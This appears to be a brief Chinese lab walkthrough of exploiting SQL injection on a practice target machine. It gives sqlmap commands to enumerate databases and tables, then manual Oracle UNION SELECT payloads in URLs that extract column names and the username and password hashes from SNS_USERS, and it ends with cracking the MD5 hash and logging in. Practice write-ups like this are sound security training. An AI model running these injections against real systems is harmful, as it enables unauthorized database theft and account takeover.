我的靶机地址是http://124.70.71.251:41135/new_list.php?id=1
1、拿到地址首先直接用sqlmap开扫
python sqlmap.py -u http://124.70.71.251:41135/new_list.php?id=1 -dbs
2、查看当前使用的数据库
python sqlmap.py -u http://124.70.71.251:41135/new_list.php?id=1 -current-db
知道了当前使用的数据库是SYSTEM
获取当前数据库的表:
python sqlmap.py -u http://124.70.71.251:41135/new_list.php?id=1 -D SYSTEM -tables
可知表名为SNS_USERS
之后再使用sqlmap想查看字段名就不行了,接下来就使用手工注入,使用:
http://124.70.71.251:41135/new_list.php?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual
查看字段名
查看第二个字段名
http://124.70.71.251:41135/new_list.php?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'null' from dual
获取最后的密码:
http://124.70.71.251:41135/new_list.php?id=-1 union select user_name,user_pwd from "sns_users" where user_name not in 'hu'
将密码md5解密后登陆系统